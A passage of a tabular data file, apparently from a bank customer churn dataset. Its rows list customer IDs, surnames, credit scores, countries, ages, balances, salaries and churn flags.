+6097,15738884,Hu,642,Germany,Male,41,4,157777.58,1,1,0,67484.6,0 +6098,15615050,Savage,575,Germany,Male,47,9,107915.94,2,1,1,63452.18,1 +6099,15803005,Wallace,570,Germany,Female,57,5,86568.75,1,0,1,103660.31,0 +6100,15743498,Winter,532,Germany,Male,52,9,137755.76,1,1,0,163191.99,1 +6101,15720463,Ho,796,France,Male,30,2,137262.71,2,1,0,62905.29,0 +6102,15588695,Su,833,Spain,Male,32,6,0,1,1,1,44323.22,1 +6103,15665802,Li Fonti,642,Spain,Female,36,6,0,2,1,1,97938.59,0 +6104,15571144,Ives,655,France,Male,28,10,0,2,0,1,126565.21,0 +6105,15750731,Trevisani,736,Germany,Male,50,9,116309.01,1,1,0,185360.4,1 +6106,15605134,Bond,617,France,Female,34,0,131244.65,2,1,0,183229.02,0 +6107,15626044,Lettiere,762,Germany,Male,28,3,125155.83,2,1,1,106024.02,0 +6108,15737910,Houghton,703,Germany,Male,35,5,140691.08,2,1,0,167810.26,0 +6109,15761076,Lei,507,France,Male,41,3,58820.32,2,1,1,138536.09,0 +6110,15710105,Stirling,581,Germany,Female,26,3,105099.45,1,1,1,184520,1 +6111,15577402,Grant,593,France,Male,31,9,0,2,0,1,20492.16,0 +6112,15803337,Baresi,648,France,Male,23,9,168372.52,1,1,0,134676.72,0 +6113,15654372,Pearce,462,Germany,Male,34,1,94682.56,2,1,0,138478.2,0 +6114,15585867,Rutledge,596,Spain,Male,36,2,0,2,0,1,125557.95,0 +6115,15662488,Udegbunam,627,France,Female,44,5,0,2,1,0,82969.61,1 +6116,15604813,Zaytseva,494,France,Male,40,7,0,2,0,1,158071.69,0 +6117,15611644,Onyemauchechukwu,627,France,Male,73,0,146329.73,1,0,1,43615.67,0 +6118,15674928,Mullah,850,Spain,Male,37,2,0,2,1,0,119969.99,0 +6119,15656100,Candler,632,France,Female,49,5,167962.7,1,0,0,140201.21,0 +6120,15764293,Konovalova,490,France,Male,33,1,0,2,1,1,80792.83,0 +6121,15636423,Lei,715,France,Male,40,7,0,1,1,1,141359.11,0 +6122,15607629,Hollis,679,France,Male,48,8,0,2,1,0,23344.94,0 +6123,15577313,Lionel,619,France,Male,44,3,116967.68,1,1,0,5075.17,1 +6124,15714493,Francis,465,Spain,Female,33,6,0,2,1,1,95500.98,0 +6125,15643359,Carter,736,Spain,Male,32,7,0,1,0,1,79082.62,0 +6126,15687913,Mai,501,Germany,Female,34,7,93244.42,1,0,1,199805.63,0 +6127,15790935,Johnson,535,France,Female,29,5,0,2,0,1,52709.55,0 +6128,15708693,Sherman,759,France,Female,33,2,0,2,1,0,56583.88,0 +6129,15672016,Sabbatini,819,France,Male,35,1,0,2,0,1,3385.04,0 +6130,15727605,Shih,533,Germany,Male,43,4,80442.06,2,0,1,12537.42,0 +6131,15651144,Yao,632,Germany,Female,35,2,150561.03,2,0,0,64722.61,0 +6132,15749401,Ko,686,France,Male,60,9,0,3,1,1,75246.21,1 +6133,15691874,Kazakova,687,France,Female,34,9,125474.44,1,1,0,198929.84,0 +6134,15620735,Chiganu,667,Germany,Female,33,4,127076.68,2,1,0,69011.66,0 +6135,15769781,Nucci,699,Spain,Female,25,8,0,2,1,1,52404.47,0 +6136,15624611,Marsden,497,Spain,Male,37,8,128650.11,2,1,1,163641.53,0 +6137,15773071,Serena,780,Spain,Female,33,6,145580.61,1,1,1,154598.56,0 +6138,15720371,McLean,652,France,Female,51,3,0,1,1,0,173989.47,1 +6139,15717984,Longo,477,France,Male,47,9,144900.58,1,1,0,61315.37,1 +6140,15806407,Wilson,652,France,Female,37,4,0,2,1,0,143393.24,0 +6141,15785042,Hsiung,488,France,Female,31,8,97588.6,1,0,0,124210.53,0 +6142,15809302,Wright,572,France,Male,24,1,0,2,1,1,151460.84,0 +6143,15677550,Folliero,755,France,Female,38,1,0,2,1,0,20734.81,0 +6144,15654096,Johnston,779,Germany,Female,24,10,122200.31,2,1,0,43705.56,0 +6145,15617320,Palermo,693,Spain,Female,46,3,151709.33,1,1,0,180736.24,0 +6146,15653065,Nwabugwu,530,Spain,Female,22,7,0,2,1,0,104170.48,0 +6147,15649112,Endrizzi,738,Spain,Female,33,3,122134.4,2,0,1,27867.59,0 +6148,15690526,Tuan,690,Germany,Male,31,2,137260.45,2,1,0,55387.28,0 +6149,15806945,Udobata,611,France,Female,30,9,88594.14,1,1,0,196332.45,0 +6150,15670066,Ibezimako,643,Spain,Male,34,6,0,2,1,1,116046.22,0 +6151,15625761,Maclean,632,Germany,Male,41,8,127205.32,4,1,0,93874.87,1 +6152,15761525,Shaw,727,Spain,Female,31,10,96997.09,2,0,0,76614.04,0 +6153,15735080,Cummins,508,France,Female,64,2,0,1,1,1,6076.62,0 +6154,15619537,Lavrentiev,550,France,Male,31,5,142200.19,2,1,1,122221.71,0 +6155,15598162,Saunders,754,Germany,Female,39,3,160761.41,1,1,1,24156.03,0 +6156,15694300,Fiorentino,759,France,Male,26,4,0,2,1,0,135394.62,0 +6157,15637235,Knight,794,Spain,Male,33,8,0,2,0,0,91340.02,0 +6158,15612444,Manfrin,549,France,Male,29,3,0,2,1,0,146090.38,0 +6159,15626457,Zetticci,671,France,Male,31,0,116234.61,1,1,0,172096.08,0 +6160,15627995,Angelo,756,Germany,Female,26,5,155143.52,1,0,1,135034.57,1 +6161,15706128,Zhdanov,632,France,Female,21,1,0,2,1,0,84008.66,0 +6162,15666430,Peck,579,France,Male,38,8,0,2,0,0,91763.67,0 +6163,15627385,Uwaezuoke,748,France,Male,34,5,84009.47,1,1,1,137001.1,0 +6164,15581323,White,488,Germany,Female,28,7,139246.22,2,1,0,106799.49,0 +6165,15608109,Greco,710,Germany,Male,58,7,170113,2,0,1,10494.64,0 +6166,15801942,Chu,619,Spain,Female,41,8,0,3,1,1,79866.73,1 +6167,15567431,Kodilinyechukwu,773,France,Male,64,2,145578.28,1,0,1,186172.85,0 +6168,15810167,Scott,657,Spain,Male,75,7,126273.95,1,0,1,91673.6,0 +6169,15644501,Enyinnaya,579,France,Female,26,10,162482.76,1,1,1,18458.2,0 +6170,15785290,Hao,542,France,Male,29,9,0,1,1,0,8342.35,0 +6171,15611157,McElhone,709,France,Female,32,2,87814.89,1,1,0,138578.37,0 +6172,15673837,Ko,617,Spain,Male,61,3,113858.95,1,1,1,38129.22,0 +6173,15656822,Day,568,Germany,Male,43,5,87612.64,4,1,1,107155.4,1 +6174,15580560,Harris,769,France,Female,73,1,0,1,1,1,29792.11,0 +6175,15760641,Gerald,608,Germany,Male,26,1,106648.98,1,0,1,7063.6,0 +6176,15587584,Nebeuwa,503,Spain,Male,31,4,0,2,1,1,21645.06,0 +6177,15604146,Kaodilinakachukwu,608,Germany,Female,38,8,103653.51,2,1,1,137079.86,0 +6178,15813974,Maruff,731,Germany,Male,37,3,116880.53,1,0,0,172718.35,1 +6179,15746986,Howe,850,Germany,Female,40,4,97990.49,2,0,0,106691.02,0 +6180,15759741,Knepper,591,Germany,Female,34,4,150635.3,1,1,1,72274.84,0 +6181,15734892,Fennell,579,Spain,Male,37,4,0,2,1,1,32246.63,0 +6182,15797194,T'ao,570,France,Male,39,10,129674.89,2,1,0,80552.36,0 +6183,15723786,Morris,709,France,Female,37,9,0,2,1,0,16733.59,0 +6184,15642726,Holmes,611,France,Male,53,3,83568.26,1,0,0,1235.49,0 +6185,15664339,Yu,775,Spain,Male,48,4,178144.91,2,0,0,50168.41,1 +6186,15754526,Walker,699,Germany,Male,36,6,147137.74,1,1,1,33687.9,0 +6187,15703037,Edwards,618,France,Male,37,5,0,1,0,1,178705.45,1 +6188,15751412,Harvey,704,France,Male,36,3,114370.41,1,0,1,66810.48,0 +6189,15609558,McDonald,835,Germany,Female,47,5,108289.28,2,1,1,45859.55,1 +6190,15572408,Chambers,714,Germany,Male,39,3,149887.49,2,1,0,63846.36,0 +6191,15613923,Reed,581,Spain,Female,43,4,170172.9,1,0,1,100236.02,0 +6192,15747000,Shih,592,France,Male,27,3,0,2,1,1,19645.65,0 +6193,15731781,Onyemachukwu,551,France,Male,43,7,0,2,1,0,178393.68,0 +6194,15727198,Teng,689,Germany,Female,28,2,64808.32,2,0,0,78591.15,0 +6195,15794273,Hand,604,France,Female,56,0,62732.65,1,0,1,124954.56,0 +6196,15804950,Onyemauchechukwu,514,France,Female,41,7,0,2,1,1,3756.65,0 +6197,15576304,Bailey,698,France,Male,29,5,95167.55,1,1,1,152723.23,0 +6198,15645200,Chiang,581,Germany,Female,54,2,152508.99,1,1,0,187597.98,1 +6199,15779627,Maclean,573,Germany,Male,31,0,134644.19,1,1,1,70381.49,0 +6200,15750755,Yobachi,449,Spain,Female,33,8,0,2,0,0,156792.89,0 +6201,15569654,Munro,850,Germany,Female,31,3,51293.47,1,0,0,35534.68,0 +6202,15753079,Chidi,612,France,Male,41,5,0,3,0,0,151256.22,0 +6203,15684995,Chamberlain,690,Spain,Male,49,8,116622.73,1,0,1,51011.29,0 +6204,15790763,Trujillo,599,Spain,Female,49,2,0,2,1,0,111190.53,0 +6205,15766458,Tang,498,France,Male,33,1,198113.86,1,1,0,69664.35,0 +6206,15616221,Wilson,497,France,Female,29,4,85646.81,1,0,0,63233.02,1 +6207,15776124,Mann,802,Spain,Male,51,7,0,1,0,1,40855.79,0 +6208,15665811,Parry,644,France,Male,33,9,141234.98,1,1,0,95673.05,0 +6209,15729804,Manfrin,714,France,Male,34,10,0,2,1,1,80234.14,0 +6210,15714062,Millar,690,France,Female,40,9,77641.99,1,0,0,189051.59,1 +6211,15592197,Simmons,522,Spain,Male,30,3,0,2,1,0,145490.85,0 +6212,15793116,Beneventi,502,Germany,Female,40,7,117304.29,1,0,0,196278.32,0 +6213,15638231,Chung,730,Spain,Female,62,2,0,2,1,1,162889.1,0 +6214,15697678,Maxwell,590,Germany,Male,36,6,92340.69,2,1,1,174667.58,0 +6215,15800412,Dale,458,Germany,Male,35,9,146780.52,2,1,1,3476.38,0 +6216,15597610,Stevens,553,Spain,Male,41,6,144974.55,1,1,1,19344.92,0 +6217,15726634,Wei,479,France,Male,47,1,0,1,1,0,95270.83,0 +6218,15670866,Chiu,693,France,Male,31,2,0,2,1,1,107759.31,0 +6219,15667462,Duncan,707,Spain,Male,43,10,0,2,1,0,118368.2,0 +6220,15662574,Brady,636,Spain,Male,37,1,115137.26,1,1,0,52484.01,0 +6221,15716926,Macleod,807,France,Male,33,10,101952.97,2,1,0,178153.65,0 +6222,15603554,Berkeley,513,France,Female,45,0,164649.52,3,1,0,49915.52,1 +6223,15716800,Kaur,582,France,Male,31,2,0,2,1,1,33747.03,0 +6224,15679429,Bell,694,France,Male,32,0,91956.49,1,1,1,59961.81,0 +6225,15616122,Nwokike,777,France,Male,39,8,0,2,1,1,18613.52,0 +6226,15742172,Williamson,598,Germany,Male,32,9,123938.6,2,1,0,198894.42,0 +6227,15792305,Mountgarrett,762,Germany,Male,46,6,123571.77,3,0,1,57014.17,1 +6228,15636016,Wreford,588,France,Female,34,3,120777.88,1,1,1,131729.52,0 +6229,15733138,Paterson,663,Germany,Male,42,5,90248.79,1,1,1,79169.73,0 +6230,15669741,Hou,777,France,Male,36,7,0,1,1,0,106472.34,0 +6231,15616954,Smith,592,France,Male,71,4,0,2,0,1,17013.54,0 +6232,15729238,Peng,631,Germany,Male,48,1,106396.48,1,1,1,150661.42,1 +6233,15718242,Wollstonecraft,725,Germany,Female,47,1,104887.43,1,0,0,86622.56,1 +6234,15682914,Bolton,850,France,Male,34,2,72079.71,1,1,1,115767.93,0 +6235,15654274,Corrie,540,France,Male,37,6,0,2,1,0,141998.89,0 +6236,15691457,Boyle,674,Spain,Male,36,2,0,2,1,1,182787.17,0 +6237,15719649,Lambie,553,France,Male,38,3,99844.68,1,0,0,187915.7,0 +6238,15778897,Cartwright,630,France,Female,28,1,0,2,1,1,133267.78,0 +6239,15589437,Lu,466,France,Male,26,3,156815.71,1,1,1,137476.09,0 +6240,15682369,Pisano,613,France,Male,47,6,146034.74,1,1,1,77146.14,0 +6241,15626507,Chukwubuikem,558,France,Male,27,1,152283.39,1,1,0,183271.15,0 +6242,15571995,Harper,775,Germany,Female,33,1,118897.1,2,1,1,26362.4,0 +6243,15673333,Wilson,698,Germany,Male,52,8,96781.39,1,1,1,153373.71,0 +6244,15748752,Ch'in,608,Germany,Male,33,1,102772.67,2,1,0,70705.58,0 +6245,15725302,Streeton,670,Spain,Female,20,4,0,2,1,0,119759.24,0 +6246,15722083,Ch'ang,591,Spain,Male,39,8,0,2,0,0,42392.24,0 +6247,15771442,Pennington,633,France,Male,40,4,150578,1,0,1,34670.62,1 +6248,15803633,T'ien,678,France,Female,46,1,0,2,0,0,82106.19,0 +6249,15672185,Liu,590,France,Male,47,3,0,2,1,0,171774.5,0 +6250,15806486,Cunningham,705,France,Female,48,0,0,2,0,0,149772.61,0 +6251,15570895,Ch'in,608,France,Male,42,10,163548.07,1,1,0,38866.85,0 +6252,15614520,Smith,682,France,Female,37,8,148580.12,1,1,0,35179.18,0 +6253,15687492,Anderson,596,Germany,Male,32,3,96709.07,2,0,0,41788.37,0 +6254,15675337,Forbes,395,Germany,Female,34,5,106011.59,1,1,1,17376.57,1 +6255,15721047,Ansell,578,Germany,Male,37,1,135650.88,1,1,0,199428.19,0 +6256,15589017,Chiu,547,Germany,Male,55,4,111362.76,3,1,0,16922.28,1 +6257,15611186,Yevdokimova,609,France,Male,37,1,39344.83,1,1,1,178291.89,1 +6258,15617301,Chamberlin,774,Germany,Male,36,9,130809.77,1,1,0,152290.28,0 +6259,15726046,Johnston,712,France,Female,27,2,133009.51,1,1,0,126809.15,0 +6260,15585748,McDonald,585,Germany,Female,28,9,135337.49,2,1,1,40385.61,0 +6261,15672826,Chen,666,France,Female,32,10,112536.57,2,1,1,34350.54,0 +6262,15595162,Cattaneo,708,Spain,Female,35,8,122570.69,1,0,0,199005.88,0 +6263,15650026,Barclay-Harvey,513,France,Male,44,1,63562.02,2,0,1,52629.73,1 +6264,15745826,Dawson,445,France,Male,37,3,0,2,1,1,180012.39,0 +6265,15708610,Costa,690,Germany,Male,44,9,100368.63,2,0,0,35342.33,0 +6266,15624471,Chikwado,850,France,Male,37,6,0,2,1,0,109291.22,0 +6267,15590097,Ch'eng,537,Spain,Female,33,7,136082,1,1,0,62746.54,0 +6268,15689328,Harrison,705,Germany,Male,48,9,114169.16,1,0,0,173273.2,1 +6269,15582154,Crawford,670,France,Female,45,5,47884.92,1,1,1,54340.24,0 +6270,15734626,Gibson,652,Spain,Female,36,1,0,2,1,1,19302.78,0 +6271,15702806,Martin,696,Spain,Male,24,9,0,1,0,0,10883.52,0 +6272,15620756,Stokes,747,France,Male,49,6,202904.64,1,1,1,17298.72,1 +6273,15611331,Niu,511,France,Female,46,1,0,1,1,1,115779.48,1 +6274,15576935,Ampt,743,Spain,Male,43,2,161807.18,2,0,1,93228.86,1 +6275,15661275,Wynn,532,Germany,Male,52,3,110791.97,1,1,0,148704.77,1 +6276,15814940,Lawrence,642,Spain,Female,33,9,0,2,1,1,150475.14,0 +6277,15768471,Wagner,554,Germany,Female,54,6,108755,1,1,0,40914.32,1 +6278,15697391,Argyle,604,Spain,Female,34,3,0,2,1,0,38587.7,0 +6279,15793346,Ofodile,602,France,Female,72,3,0,2,1,1,171260.66,0 +6280,15608338,Chiemenam,757,Spain,Female,55,9,117294.12,4,1,0,94187.47,1 +6281,15578546,Akobundu,491,Germany,Male,26,4,102251.14,1,1,1,145900.89,0 +6282,15656921,Locke,850,France,Male,31,4,0,2,0,0,152298.28,0 +6283,15761340,Bullen,521,France,Male,22,5,0,2,1,1,99828.45,0 +6284,15591135,Forster,726,France,Male,37,2,132057.92,2,1,0,34743.98,0 +6285,15623219,Smith,596,France,Male,33,8,0,1,1,0,121189.3,1 +6286,15655229,Craig,850,Germany,Female,35,7,114285.2,1,0,1,129660.59,0 +6287,15805884,Archer,637,France,Female,41,9,0,2,1,0,145477.36,0 +6288,15668289,McWilliams,690,Spain,Male,32,2,76087.98,1,0,1,151822.66,0 +6289,15568562,Moss,689,France,Male,40,8,160272.27,1,1,0,49656.24,0 +6290,15773276,Townsend,633,Spain,Male,63,4,114552.6,1,1,0,73856.28,1 +6291,15622801,Brown,555,France,Female,27,8,102000.17,1,1,1,116757,0 +6292,15779886,Munson,563,Spain,Male,24,7,0,2,0,0,16319.56,0 +6293,15713673,T'ien,494,France,Female,33,1,137853,1,0,1,90273.85,0 +6294,15783083,Shubin,534,France,Male,27,9,0,2,1,0,161344.13,0 +6295,15742824,Isayeva,696,Germany,Male,42,7,162318.61,1,1,0,121061.89,0 +6296,15621550,Hung,535,Spain,Female,50,1,140292.58,3,0,0,69531.22,1 +6297,15799480,Webb,600,France,Male,34,0,0,2,0,1,3756.23,0 +6298,15625247,Scott,807,France,Female,34,1,0,1,0,0,114448.13,0 +6299,15755241,Rahman,714,France,Female,52,2,0,1,0,1,144045.08,1 +6300,15575679,Lori,590,France,Male,24,7,126431.54,1,1,0,58781.11,0 +6301,15668235,Cooke,614,France,Female,41,3,123475.04,1,1,1,179227.52,0 +6302,15683183,Volkova,766,Germany,Female,45,6,97652.96,1,1,0,127332.33,0 +6303,15684592,Lamb,557,Spain,Male,42,4,0,2,0,1,86642.38,0 +6304,15591169,Hawes,788,Germany,Female,49,4,137455.99,1,1,0,184178.29,1 +6305,15653455,Smith,648,France,Female,38,2,0,2,0,1,9551.49,0 +6306,15732563,Swanton,726,Germany,Female,33,7,99046.31,2,1,1,56053.06,0 +6307,15656471,Mitchell,773,France,Male,33,9,0,2,1,1,1118.31,0 +6308,15598510,Colombo,583,Germany,Male,27,4,105907.42,2,1,1,195732.04,0 +6309,15766427,Shaw,565,Germany,Male,52,5,97720.35,2,1,0,175070.94,1 +6310,15785342,Shipp,705,France,Male,25,9,0,2,0,1,112331.19,0 +6311,15641595,Jonathan,685,Spain,Male,43,4,97392.18,2,1,0,43956.83,0 +6312,15798429,Hernandez,741,France,Male,29,8,0,2,1,1,115994.52,0 +6313,15648136,Green,658,Germany,Female,28,9,152812.58,1,1,0,166682.57,0 +6314,15812482,Young,575,France,Male,27,3,139301.68,1,1,0,99843.98,0 +6315,15790810,Han,844,France,Female,41,10,76319.64,1,1,1,141175.18,1 +6316,15687421,Highland,559,Spain,Male,67,9,125919.35,1,1,0,175910.95,1 +6317,15765643,Hamilton,725,France,Male,37,6,124348.38,2,0,1,176984.34,0 +6318,15654878,Yobanna,450,France,Male,29,7,117199.8,1,1,1,43480.63,0 +6319,15686835,Crawford,738,Germany,Female,57,9,148384.64,1,0,0,155047.11,1 +6320,15768340,Beavers,642,Germany,Female,19,3,113905.48,1,1,1,176137.2,0 +6321,15673599,Williamson,618,Spain,Male,32,5,133476.09,1,0,1,154843.4,0 +6322,15689096,Beneventi,590,France,Male,47,0,117879.32,1,1,1,8214.46,0 +6323,15684294,Chidumaga,735,France,Male,50,2,0,2,0,1,147075.69,0 +6324,15615828,Mitchell,550,France,Male,34,8,122359.5,1,0,0,116495.55,0 +6325,15746012,Chibugo,729,Spain,Female,28,0,0,2,1,1,31165.06,1 +6326,15615797,Hyde,743,Germany,Male,59,5,108585.35,1,1,1,192127.22,1 +6327,15788494,Alekseeva,555,France,Male,31,8,145875.74,1,1,0,137491.23,0 +6328,15793856,Abdulov,667,Spain,Female,36,3,121542.57,2,1,1,186841.71,0 +6329,15629545,Buckley,790,Spain,Female,41,7,109508.68,1,0,0,86776.38,0 +6330,15661198,Howard,727,Germany,Male,34,2,146407.11,1,1,1,72073.72,0 +6331,15715117,Peel,744,France,Female,39,6,0,1,0,0,10662.58,0 +6332,15701074,Herz,629,Germany,Male,35,8,112330.83,1,1,1,91001.02,0 +6333,15793046,Holden,619,France,Female,35,4,90413.12,1,1,1,20555.21,0 +6334,15623744,McLean,634,France,Male,34,8,105302.66,1,1,1,123164.97,0 +6335,15611329,Findlay,608,Spain,Female,35,6,0,2,1,1,143463.28,0 +6336,15740428,Wyatt,507,France,Female,35,1,0,2,0,0,92131.54,0 +6337,15781534,Rapuluolisa,536,Germany,Female,35,4,121520.36,1,0,0,77178.42,0 +6338,15618243,Buckland,730,Spain,Female,43,1,103960.38,1,1,1,193650.16,0 +6339,15784161,Hargreaves,583,Germany,Male,39,8,102945.01,1,0,0,52861.89,0 +6340,15700325,Onyeoruru,644,France,Female,24,8,92760.55,1,1,0,35896.75,0 +6341,15659064,Salas,790,Spain,Male,37,8,0,2,1,1,149418.41,0 +6342,15658364,Laney,807,Germany,Female,40,1,134590.21,1,1,1,46253.65,0 +6343,15704340,Fu,581,France,Female,37,10,104255.03,1,1,0,86609.37,0 +6344,15793455,Tien,627,Spain,Female,55,6,0,1,0,0,91943.94,1 +6345,15579777,Sazonova,850,France,Male,41,3,0,2,1,0,128892.36,0 +6346,15632345,Tuan,754,France,Female,35,4,0,2,1,0,44830.71,0 +6347,15814468,Wei,551,Germany,Male,50,1,121399.98,1,0,1,84508.44,1 +6348,15754820,Bergamaschi,637,Germany,Male,35,8,147127.81,2,1,1,84760.7,0 +6349,15707505,Taylor,699,Spain,Male,31,8,125927.51,2,1,0,147661.47,0 +6350,15699507,Messersmith,542,France,Female,25,7,0,2,0,1,82393.08,0 +6351,15799600,Coles,640,Germany,Male,48,1,111599.32,1,0,1,135995.58,0 +6352,15794472,Brookes,553,France,Female,27,3,0,2,0,0,159800.16,0 +6353,15646632,Reid,741,France,Male,38,9,0,2,1,0,14379.01,0 +6354,15676353,Etheridge,598,France,Male,35,8,114212.6,1,1,1,74322.85,0 +6355,15566312,Jolly,660,Spain,Female,42,5,0,3,1,1,189016.24,1 +6356,15570414,Chizoba,618,Spain,Male,41,4,115251.64,1,0,0,136435.75,0 +6357,15776743,Eberegbulam,647,France,Male,43,9,0,2,1,1,78488.39,0 +6358,15674637,Pagnotto,491,France,Female,68,3,107571.61,1,0,1,113695.99,0 +6359,15730418,Lucchesi,652,France,Female,32,2,0,2,1,0,54628.11,0 +6360,15739972,Hughes,650,Germany,Female,45,9,152367.21,3,1,0,150835.21,1 +6361,15661591,Panicucci,413,Germany,Male,39,1,130969.77,2,1,1,158891.79,0 +6362,15675585,Burns,416,Germany,Female,25,0,97738.97,2,1,1,160523.33,0 +6363,15814750,Ricci,629,Spain,Male,34,8,0,2,1,1,180595.02,0 +6364,15593454,Lambert,678,Spain,Female,40,4,113794.22,1,1,0,16618.76,0 +6365,15663421,Esposito,527,Spain,Male,28,6,128396.33,2,1,0,79919.97,0 +6366,15576196,Benson,743,Spain,Female,48,5,118207.69,2,0,0,186489.14,1 +6367,15677324,Botts,683,Germany,Male,73,9,124730.26,1,1,1,51999.5,0 +6368,15568742,Parkes,536,France,Female,41,9,0,1,1,0,121299.14,0 +6369,15693764,Mai,663,Spain,Male,52,0,136298.65,1,1,0,144593.3,1 +6370,15714260,Castiglione,646,France,Female,38,2,0,2,0,0,178752.73,0 +6371,15798200,Manna,707,France,Male,35,2,0,3,1,1,94148.3,0 +6372,15656627,Lin,602,France,Male,34,5,0,2,1,1,77414.45,0 +6373,15791111,Fink,635,France,Female,47,2,125724.95,2,1,0,63236.97,0 +6374,15638269,Baresi,597,France,Male,67,2,0,2,0,1,108645.85,0 +6375,15807473,Morehead,503,France,Male,38,1,0,2,1,1,95153.24,0 +6376,15708534,Afamefuna,524,Spain,Female,64,5,0,1,1,0,136079.64,1 +6377,15640686,Greco,700,France,Male,46,5,95872.86,1,1,0,98273.01,1 +6378,15588904,Balashova,692,France,Male,33,9,0,1,1,0,113505.93,1 +6379,15768763,Bogdanov,562,France,Male,37,2,0,1,0,1,52525.15,1 +6380,15770543,Lowe,679,France,Male,37,7,74260.03,1,1,0,194617.98,0 +6381,15642162,Ponce,603,Germany,Male,35,1,123407.69,1,1,0,152541.89,1 +6382,15714046,Trevisano,720,Spain,Male,33,3,123783.91,2,1,1,142903.44,0 +6383,15575060,Gardner,797,France,Male,24,5,0,2,1,0,182257.61,0 +6384,15812040,Lorenzo,594,France,Male,36,6,153880.15,1,0,0,135431.72,0 +6385,15812073,Palmer,529,France,Female,31,7,0,2,1,1,175697.87,0 +6386,15706810,Zuyeva,606,Germany,Female,32,1,106301.85,2,0,1,59061.25,0 +6387,15584090,Jen,621,Spain,Female,40,7,0,2,0,1,131283.6,1 +6388,15810807,Alekseeva,513,France,Female,43,9,0,2,1,0,152499.8,0 +6389,15582033,Manfrin,753,Germany,Male,44,3,138076.47,1,1,0,15523.09,1 +6390,15687607,Chiemenam,605,France,Female,30,9,135422.31,1,0,1,186418.85,0 +6391,15588406,Chiemenam,574,Spain,Female,37,7,0,2,1,0,32262.28,0 +6392,15784099,Clark,726,France,Female,38,5,126875.62,1,1,0,128052.29,0 +6393,15701352,Fanucci,611,Spain,Female,28,3,96381.68,2,1,0,181419.29,0 +6394,15789371,Cattaneo,593,Germany,Female,41,4,119703.1,2,1,1,109783.29,0 +6395,15602845,Udinesi,466,Germany,Male,41,2,152102.18,2,1,0,181879.56,0 +6396,15707918,Bentley,741,Germany,Female,36,0,127675.39,2,1,0,74260.16,0 +6397,15602812,Holmes,684,Germany,Female,44,2,133776.86,2,0,1,49865.04,0 +6398,15675888,Austin,550,Spain,Female,33,9,72788.03,1,1,1,103608.06,0 +6399,15591822,Mackenzie,593,Spain,Male,26,9,76226.9,1,1,0,167564.82,0 +6400,15738501,Booth,601,Germany,Male,48,9,163630.76,1,0,1,41816.49,1 +6401,15585907,Collier,676,Spain,Female,30,5,0,2,0,0,179066.58,0 +6402,15579040,Hs?,556,France,Female,46,10,0,2,0,0,109184.24,0 +6403,15804211,Oluchukwu,719,France,Male,36,3,155423.17,1,1,1,199841.32,0 +6404,15736126,Sung,850,Germany,Male,55,0,98710.89,1,1,1,83617.17,1 +6405,15745399,Marino,649,Spain,Female,49,2,0,1,1,0,84863.85,1 +6406,15760749,Vinogradov,509,Spain,Male,41,7,126683.8,1,0,1,114775.53,0 +6407,15637118,Burns,684,France,Male,33,4,140700.61,1,1,0,103557.93,0 +6408,15657829,Fanucci,806,Germany,Male,30,8,168078.83,1,1,0,85028.36,1 +6409,15738497,Chukwujamuike,729,Spain,Male,44,4,107726.93,2,1,0,153064.87,0 +6410,15690695,Flynn,683,France,Female,33,9,0,2,1,1,38784.42,0 +6411,15762351,Chao,689,Spain,Female,63,1,0,2,1,1,186526.12,0 +6412,15791172,Yeh,672,Germany,Female,21,1,35741.69,1,1,0,28789.94,0 +6413,15598982,Klein,602,Germany,Female,53,5,98268.84,1,0,1,45038.29,1 +6414,15734765,Mahmood,739,France,Female,20,4,133800.98,1,0,1,150245.81,0 +6415,15642912,Tu,618,France,Female,21,2,125682.79,1,0,0,57762,0 +6416,15769516,Shcherbakov,674,France,Female,42,9,0,2,1,0,4292.72,0 +6417,15789379,Zetticci,762,France,Male,26,6,130428.78,1,1,0,173365.89,0 +6418,15695103,Carr,790,Spain,Male,37,6,0,2,1,1,119484.01,0 +6419,15801924,Browne,754,Spain,Female,27,8,0,2,0,0,121821.16,0 +6420,15767804,Feng,729,France,Male,44,6,0,2,1,0,151733.43,0 +6421,15718039,Ferguson,606,Germany,Female,47,0,137138.2,2,0,1,53784.22,0 +6422,15579994,Shaw,616,France,Male,23,8,73112.95,1,1,1,62733.05,0 +6423,15595037,Palermo,772,France,Male,47,9,152347.01,1,0,1,17671.78,0 +6424,15600720,Moore,652,Spain,Male,41,8,115144.68,1,1,0,188905.43,0 +6425,15782608,Huang,743,France,Male,43,5,0,2,0,0,113079.19,1 +6426,15566894,Gray,793,France,Male,39,3,137817.52,1,0,0,83997.79,0 +6427,15749123,Sokolova,743,Spain,Male,45,7,157332.26,1,1,0,125424.42,0 +6428,15668943,Henderson,746,France,Male,37,2,0,2,1,0,143194.05,0 +6429,15577423,Mosley,627,Germany,Female,39,5,124586.93,1,1,0,93132.61,1 +6430,15623102,Nnaemeka,713,Spain,Male,38,6,116980.78,2,0,1,76038.38,0 +6431,15728012,Everett,678,Spain,Female,40,3,128398.38,1,1,0,168658.3,0 +6432,15683363,Goddard,540,Spain,Male,39,1,0,1,0,1,108419.41,0 +6433,15699335,Kuo,615,Germany,Female,33,3,137657.25,2,1,1,171657.57,0 +6434,15574369,Bianchi,415,Spain,Male,53,5,167259.44,1,1,1,22357.25,0 +6435,15703167,Rouse,628,France,Female,45,8,0,2,1,0,193903.06,0 +6436,15754874,Nwoye,700,France,Male,26,4,119009.57,1,1,0,141926.43,0 +6437,15723216,Greco,623,Germany,Male,33,2,80002.33,1,1,1,104079.62,0 +6438,15725094,Fang,623,France,Female,37,4,140211.88,1,1,1,93832.33,0 +6439,15647974,Chiemenam,679,France,Female,44,3,118742.74,2,1,0,1568.91,0 +6440,15583371,Artemiev,632,Spain,Male,37,1,138207.08,1,1,0,60778.11,1 +6441,15772559,Burrows,790,France,Female,47,10,148636.21,1,0,1,16119.96,1 +6442,15711251,Chizuoke,514,France,Male,45,1,178827.79,1,1,0,60375.18,0 +6443,15719212,T'ien,491,France,Male,33,5,83134.3,1,1,0,187946.55,0 +6444,15764927,Rogova,753,France,Male,92,3,121513.31,1,0,1,195563.99,0 +6445,15731412,Trevisano,693,Germany,Female,37,6,95900.04,1,1,1,38196.24,0 +6446,15719170,Sagese,679,France,Female,30,1,112543.42,1,1,1,179435.21,0 +6447,15596011,Artyomova,529,Spain,Male,34,9,0,1,1,1,93208.22,0 +6448,15614834,Long,619,Spain,Female,31,3,141751.82,1,0,1,61531.86,0 +6449,15600510,Hsueh,680,Spain,Female,37,6,124140.57,2,1,0,92826.35,0 +6450,15625706,White,693,Germany,Male,45,2,116546.59,2,0,0,23140.28,1 +6451,15781409,Lazarev,834,France,Female,28,6,0,1,1,0,74287.53,0 